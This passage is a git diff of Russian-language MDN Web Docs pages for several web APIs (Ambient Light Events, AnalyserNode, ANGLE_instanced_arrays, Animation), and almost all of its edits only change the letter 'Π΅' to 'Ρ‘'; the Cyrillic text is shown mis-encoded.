-<p>Код Π²ΠΎΡ€ΠΊΠ΅Ρ€Π° загруТаСтся ΠΈΠ· Ρ„Π°ΠΉΠ»Π° <code>"worker.js"</code>. Π’ Π΄Π°Π½Π½ΠΎΠΌ ΠΊΠΎΠ΄Π΅ прСдполагаСтся, Ρ‡Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ элСмСнт {{HTMLElement("input")}}, Π΅Π³ΠΎ опрСдСляСт пСрСмСнная <code>first</code>. Для события {{domxref("change")}} элСмСнта создаСтся ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ, поэтому ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ измСняСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для <code>first</code>, отправляСтся сообщСниС Π² Π²ΠΎΡ€ΠΊΠ΅Ρ€ для увСдомлСния Π΅Π³ΠΎ ΠΎΠ± Π΄Π°Π½Π½Ρ‹Ρ… измСнСниях.</p>
+<p>Код Π²ΠΎΡ€ΠΊΠ΅Ρ€Π° загруТаСтся ΠΈΠ· Ρ„Π°ΠΉΠ»Π° <code>"worker.js"</code>. Π’ Π΄Π°Π½Π½ΠΎΠΌ ΠΊΠΎΠ΄Π΅ прСдполагаСтся, Ρ‡Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ элСмСнт {{HTMLElement("input")}}, Π΅Π³ΠΎ опрСдСляСт пСрСмСнная <code>first</code>. Для события {{domxref("change")}} элСмСнта создаётся ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ, поэтому ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ измСняСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для <code>first</code>, отправляСтся сообщСниС Π² Π²ΠΎΡ€ΠΊΠ΅Ρ€ для увСдомлСния Π΅Π³ΠΎ ΠΎΠ± Π΄Π°Π½Π½Ρ‹Ρ… измСнСниях.</p>
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ большС ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² Π² Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΈ MDN Web Docs Π½Π° GitHub:</p>
diff --git a/files/ru/web/api/ambient_light_events/index.html b/files/ru/web/api/ambient_light_events/index.html
index 61b79484e6..c992706006 100644
--- a/files/ru/web/api/ambient_light_events/index.html
+++ b/files/ru/web/api/ambient_light_events/index.html
@@ -2,20 +2,20 @@
title: Ambient Light Events
slug: Web/API/Ambient_Light_Events
tags:
- - ΠžΡΠ²Π΅Ρ‰Π΅Π½Π½ΠΎΡΡ‚ΡŒ
+ - ΠžΡΠ²Π΅Ρ‰Ρ‘Π½Π½ΠΎΡΡ‚ΡŒ
translation_of: Web/API/Ambient_Light_Events
---
<div>{{DefaultAPISidebar("Ambient Light Events")}}{{SeeCompatTable}}</div>
-<p>Бобытия "ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰Π΅Π³ΠΎ свСта" -Β  ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΉ способ ΡƒΠ²Π΅Π΄ΠΎΠΌΠΈΡ‚ΡŒ Π²Π΅Π±-страницу или ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΎ ΠΊΠ°ΠΊΠΎΠΌ-Π»ΠΈΠ±ΠΎ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ интСнсивности свСта. Π­Ρ‚ΠΎ позволяСт ΠΈΠΌ Ρ€Π΅Π°Π³ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π½Π° Ρ‚Π°ΠΊΠΎΠ΅ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΡƒΡ‚Π΅ΠΌ измСнСния Ρ†Π²Π΅Ρ‚ΠΎΠ²ΠΎΠ³ΠΎ контраста ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса (UI) ΠΈΠ»ΠΈ ΠΏΡƒΡ‚Π΅ΠΌ измСнСния экспозиции, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΠΉ для фотографирования.</p>
+<p>Бобытия "ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰Π΅Π³ΠΎ свСта" -Β  ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΉ способ ΡƒΠ²Π΅Π΄ΠΎΠΌΠΈΡ‚ΡŒ Π²Π΅Π±-страницу или ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΎ ΠΊΠ°ΠΊΠΎΠΌ-Π»ΠΈΠ±ΠΎ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ интСнсивности свСта. Π­Ρ‚ΠΎ позволяСт ΠΈΠΌ Ρ€Π΅Π°Π³ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π½Π° Ρ‚Π°ΠΊΠΎΠ΅ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΡƒΡ‚Ρ‘ΠΌ измСнСния Ρ†Π²Π΅Ρ‚ΠΎΠ²ΠΎΠ³ΠΎ контраста ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса (UI) ΠΈΠ»ΠΈ ΠΏΡƒΡ‚Ρ‘ΠΌ измСнСния экспозиции, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΠΉ для фотографирования.</p>
<h2 id="Π‘Π²Π΅Ρ‚ΠΎΠ²Ρ‹Π΅_события">Π‘Π²Π΅Ρ‚ΠΎΠ²Ρ‹Π΅ события</h2>
-<p>Когда Π΄Π°Ρ‚Ρ‡ΠΈΠΊ свСта устройства ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΠ²Π°Π΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ уровня освСщСнности, ΠΎΠ½ увСдомляСт Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎΠ± этом измСнСнии. Когда Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ Ρ‚Π°ΠΊΠΎΠ΅ ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠ΅, ΠΎΠ½ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚Β {{domxref("DeviceLightEvent")}} событиС, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ прСдоставляСт ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Ρ‚ΠΎΡ‡Π½ΠΎΠΉ интСнсивности свСта.</p>
+<p>Когда Π΄Π°Ρ‚Ρ‡ΠΈΠΊ свСта устройства ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΠ²Π°Π΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ уровня освСщённости, ΠΎΠ½ увСдомляСт Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎΠ± этом измСнСнии. Когда Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ Ρ‚Π°ΠΊΠΎΠ΅ ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠ΅, ΠΎΠ½ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚Β {{domxref("DeviceLightEvent")}} событиС, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ прСдоставляСт ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Ρ‚ΠΎΡ‡Π½ΠΎΠΉ интСнсивности свСта.</p>
-<p>Π­Ρ‚ΠΎ событиС ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π°Ρ…Π²Π°Ρ‡Π΅Π½ΠΎ Π½Π° ΡƒΡ€ΠΎΠ²Π½Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌΒ ΠΎΠΊΠ½Π°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{domxref("EventTarget.addEventListener","addEventListener")}} Β (ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ ΠΈΠΌΡ события {{event("devicelight")}} ) ΠΈΠ»ΠΈ ΠΏΡƒΡ‚Π΅ΠΌ присоСдинСния ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° событий ΠΊ свойству {{domxref("window.ondevicelight")}}.</p>
+<p>Π­Ρ‚ΠΎ событиС ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π°Ρ…Π²Π°Ρ‡Π΅Π½ΠΎ Π½Π° ΡƒΡ€ΠΎΠ²Π½Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌΒ ΠΎΠΊΠ½Π°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{domxref("EventTarget.addEventListener","addEventListener")}} Β (ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ ΠΈΠΌΡ события {{event("devicelight")}} ) ΠΈΠ»ΠΈ ΠΏΡƒΡ‚Ρ‘ΠΌ присоСдинСния ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° событий ΠΊ свойству {{domxref("window.ondevicelight")}}.</p>
-<p>ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π·Π°Ρ…Π²Π°Ρ‡Π΅Π½Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ события Π΄Π°Π΅Ρ‚ доступ ΠΊ интСнсивности свСта, Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½Π½ΠΎΠ³ΠΎ Π² <a href="http://en.wikipedia.org/wiki/Lux">lux</a> Ρ‡Π΅Ρ€Π΅Π· свойство {{domxref("DeviceLightEvent.value")}}.</p>
+<p>ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π·Π°Ρ…Π²Π°Ρ‡Π΅Π½Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ события Π΄Π°Ρ‘Ρ‚ доступ ΠΊ интСнсивности свСта, Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½Π½ΠΎΠ³ΠΎ Π² <a href="http://en.wikipedia.org/wiki/Lux">lux</a> Ρ‡Π΅Ρ€Π΅Π· свойство {{domxref("DeviceLightEvent.value")}}.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
diff --git a/files/ru/web/api/analysernode/getbytefrequencydata/index.html b/files/ru/web/api/analysernode/getbytefrequencydata/index.html
index c042694040..94309ba833 100644
--- a/files/ru/web/api/analysernode/getbytefrequencydata/index.html
+++ b/files/ru/web/api/analysernode/getbytefrequencydata/index.html
@@ -9,7 +9,7 @@ translation_of: Web/API/AnalyserNode/getByteFrequencyData
<p>Π”Π°Π½Π½Ρ‹Π΅ частоты состоят ΠΈΠ· Ρ†Π΅Π»Ρ‹Ρ… чисСл ΠΏΠΎ шкалС ΠΎΡ‚ 0 Π΄ΠΎ 255.</p>
-<p>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт Π² массивС прСдставляСт собой Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² Π΄Π΅Ρ†ΠΈΠ±Π΅Π»Π°Ρ… для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ частоты. Частоты распрСдСлСны Π»ΠΈΠ½Π΅ΠΉΠ½ΠΎ ΠΎΡ‚ 0 Π΄ΠΎ 1/2 частоты дискрСтизации. НапримСр, для частоты дискрСтизации <code>48000</code> послСдний элСмСнт массива Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² Π΄Π΅Ρ†ΠΈΠ±Π΅Π»Π°Ρ… для <code>24000</code> Π“Ρ†.</p>
+<p>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт Π² массивС прСдставляСт собой Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² Π΄Π΅Ρ†ΠΈΠ±Π΅Π»Π°Ρ… для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ частоты. Частоты распрСдСлСны Π»ΠΈΠ½Π΅ΠΉΠ½ΠΎ ΠΎΡ‚ 0 Π΄ΠΎ 1/2 частоты дискрСтизации. НапримСр, для частоты дискрСтизации <code>48000</code> послСдний элСмСнт массива Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² Π΄Π΅Ρ†ΠΈΠ±Π΅Π»Π°Ρ… для <code>24000</code> Π“Ρ†.</p>
<p>Если Π² массивС мСньшС элСмСнтов, Ρ‡Π΅ΠΌ Π² {{domxref("AnalyserNode.frequencyBinCount")}}, лишниС элСмСнты ΡƒΠ΄Π°Π»ΡΡŽΡ‚ΡΡ. Если Π² Π½Π΅ΠΌ большС элСмСнтов, Ρ‡Π΅ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ, лишниС элСмСнты ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΡŽΡ‚ΡΡ.</p>
diff --git a/files/ru/web/api/angle_instanced_arrays/index.html b/files/ru/web/api/angle_instanced_arrays/index.html
index 558e053527..3f769d4c64 100644
--- a/files/ru/web/api/angle_instanced_arrays/index.html
+++ b/files/ru/web/api/angle_instanced_arrays/index.html
@@ -34,7 +34,7 @@ translation_of: Web/API/ANGLE_instanced_arrays
<p>Behaves identically to {{domxref("WebGLRenderingContext.drawArrays()", "gl.drawArrays()")}} except that multiple instances of the range of elements are executed, and the instance advances for each iteration.</p>
</dd>
<dt>{{domxref("ANGLE_instanced_arrays.drawElementsInstancedANGLE()", "ext.drawElementsInstancedANGLE()")}}</dt>
- <dd>Π’Π΅Π΄Π΅Ρ‚ сСбя ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ‡Π½ΠΎ {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}} Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ выполняСтся нСсколько экзСмпляров Π½Π°Π±ΠΎΡ€Π° элСмСнтов ΠΈ экзСмпляр пСрСмСщаСтся ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ Π½Π°Π±ΠΎΡ€ΠΎΠΌ</dd>
+ <dd>Π’Π΅Π΄Ρ‘Ρ‚ сСбя ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ‡Π½ΠΎ {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}} Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ выполняСтся нСсколько экзСмпляров Π½Π°Π±ΠΎΡ€Π° элСмСнтов ΠΈ экзСмпляр пСрСмСщаСтся ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ Π½Π°Π±ΠΎΡ€ΠΎΠΌ</dd>
<dt>{{domxref("ANGLE_instanced_arrays.vertexAttribDivisorANGLE()", "ext.vertexAttribDivisorANGLE()")}}</dt>
<dd>
<p>Π˜Π·ΠΌΠ΅Π½ΡΠ΅Ρ‚ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ продвиТСния ΠΎΠ±Ρ‰ΠΈΡ… Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² Π²Π΅Ρ€ΡˆΠΈΠ½ ΠΏΡ€ΠΈ Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… экзСмпляров ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²ΠΎΠ² с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{domxref("ANGLE_instanced_arrays.drawArraysInstancedANGLE()", "ext.drawArraysInstancedANGLE()")}} ΠΈ {{domxref("ANGLE_instanced_arrays.drawElementsInstancedANGLE()", "ext.drawElementsInstancedANGLE()")}}.</p>
@@ -67,7 +67,7 @@ translation_of: Web/API/ANGLE_instanced_arrays
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ²">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ²</h2>
-<p class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, поТалуйста, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ https://github.com/mdn/browser-compat-data ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос.</p>
+<p class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, поТалуйста, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ https://github.com/mdn/browser-compat-data ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос.</p>
<p>{{Compat("api.ANGLE_instanced_arrays")}}</p>
diff --git a/files/ru/web/api/animation/index.html b/files/ru/web/api/animation/index.html
index d1deb15f99..fbe650d434 100644
--- a/files/ru/web/api/animation/index.html
+++ b/files/ru/web/api/animation/index.html
@@ -11,33 +11,33 @@ translation_of: Web/API/Animation
<dl>
<dt>{{domxref("Animation.Animation()", "Animation()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ экзСмпляр ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>Animation.</code></dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ экзСмпляр ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>Animation.</code></dd>
</dl>
<h2 id="Бвойства">Бвойства</h2>
<dl>
<dt>{{domxref("Animation.currentTime")}}</dt>
- <dd>Π’Π΅ΠΊΡƒΡ‰Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Π² миллисСкундах, нСзависимо ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ анимация ΠΈΠ»ΠΈ приостановлСна. Если анимация Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ {{domxref("AnimationTimeline", "timeline")}}, Π½Π΅Π°ΠΊΡ‚ΠΈΠ²Π½Π°Β ΠΈΠ»ΠΈ Π΅Ρ‰Π΅ Π½Π΅ воспроизвСдСна, Ρ‚ΠΎ это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π²Π½ΠΎ Π½ΡƒΠ»ΡŽ.</dd>
+ <dd>Π’Π΅ΠΊΡƒΡ‰Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Π² миллисСкундах, нСзависимо ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ анимация ΠΈΠ»ΠΈ приостановлСна. Если анимация Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ {{domxref("AnimationTimeline", "timeline")}}, Π½Π΅Π°ΠΊΡ‚ΠΈΠ²Π½Π°Β ΠΈΠ»ΠΈ Π΅Ρ‰Ρ‘ Π½Π΅ воспроизвСдСна, Ρ‚ΠΎ это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π²Π½ΠΎ Π½ΡƒΠ»ΡŽ.</dd>
</dl>
<dl>
<dt>{{domxref("Animation.effect")}}</dt>
- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΈ Π·Π°Π΄Π°Π΅Ρ‚ {{domxref ("AnimationEffectReadOnly")}} связанный с этой Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠ΅ΠΉ. ΠžΠ±Ρ‹Ρ‡Π½ΠΎ это ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref ("KeyframeEffect")}}.</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΈ Π·Π°Π΄Π°Ρ‘Ρ‚ {{domxref ("AnimationEffectReadOnly")}} связанный с этой Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠ΅ΠΉ. ΠžΠ±Ρ‹Ρ‡Π½ΠΎ это ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref ("KeyframeEffect")}}.</dd>
<dt>{{domxref("Animation.finished")}} {{readOnlyInline}}</dt>
- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Π½ΠΎΠ΅ Promise(ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅) для этой Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½Π½ΠΎΠ΅ Promise(ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅) для этой Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.</dd>
</dl>
<dl>
<dt>{{domxref("Animation.id")}}</dt>
- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΈ Π·Π°Π΄Π°Π΅Ρ‚ String(строку), ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡƒΡŽ для ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΈ Π·Π°Π΄Π°Ρ‘Ρ‚ String(строку), ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡƒΡŽ для ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.</dd>
<dt>{{domxref("Animation.playState")}} {{readOnlyInline}}</dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ пСрСчисляСмоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰Π΅Π΅ состояниС воспроизвСдСния Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.</dd>
</dl>
<dl>
<dt>{{domxref("Animation.playbackRate")}}</dt>
- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΈΠ»ΠΈ Π·Π°Π΄Π°Π΅Ρ‚ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ воспроизвСдСния Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΈΠ»ΠΈ Π·Π°Π΄Π°Ρ‘Ρ‚ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ воспроизвСдСния Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.</dd>
</dl>
<dl>
@@ -47,21 +47,21 @@ translation_of: Web/API/Animation
<dl>
<dt>{{domxref("Animation.startTime")}}</dt>
- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΈΠ»ΠΈ Π·Π°Π΄Π°Π΅Ρ‚ Π½Π°Ρ‡Π°Π»ΠΎ выполнСния Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΈΠ»ΠΈ Π·Π°Π΄Π°Ρ‘Ρ‚ Π½Π°Ρ‡Π°Π»ΠΎ выполнСния Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.</dd>
</dl>
<dl>
<dt>{{domxref("Animation.timeline")}}</dt>
- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΈΠ»ΠΈ Π·Π°Π΄Π°Π΅Ρ‚ {{domxref("AnimationTimeline", "timeline")}}, ΡΠ²ΡΠ·Π°Π½Π½ΡƒΡŽ с этой Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΈΠ»ΠΈ Π·Π°Π΄Π°Ρ‘Ρ‚ {{domxref("AnimationTimeline", "timeline")}}, ΡΠ²ΡΠ·Π°Π½Π½ΡƒΡŽ с этой Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.</dd>
</dl>
<h3 id="ΠžΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ_событий">ΠžΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ событий</h3>
<dl>
<dt>{{domxref("Animation.oncancel")}}</dt>
- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΈ Π·Π°Π΄Π°Π΅Ρ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий для ΠΎΡ‚ΠΌΠ΅Π½Ρ‹ события.</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΈ Π·Π°Π΄Π°Ρ‘Ρ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий для ΠΎΡ‚ΠΌΠ΅Π½Ρ‹ события.</dd>
<dt>{{domxref("Animation.onfinish")}}</dt>
- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΈ Π·Π°Π΄Π°Π΅Ρ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий для Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ события.</dd>
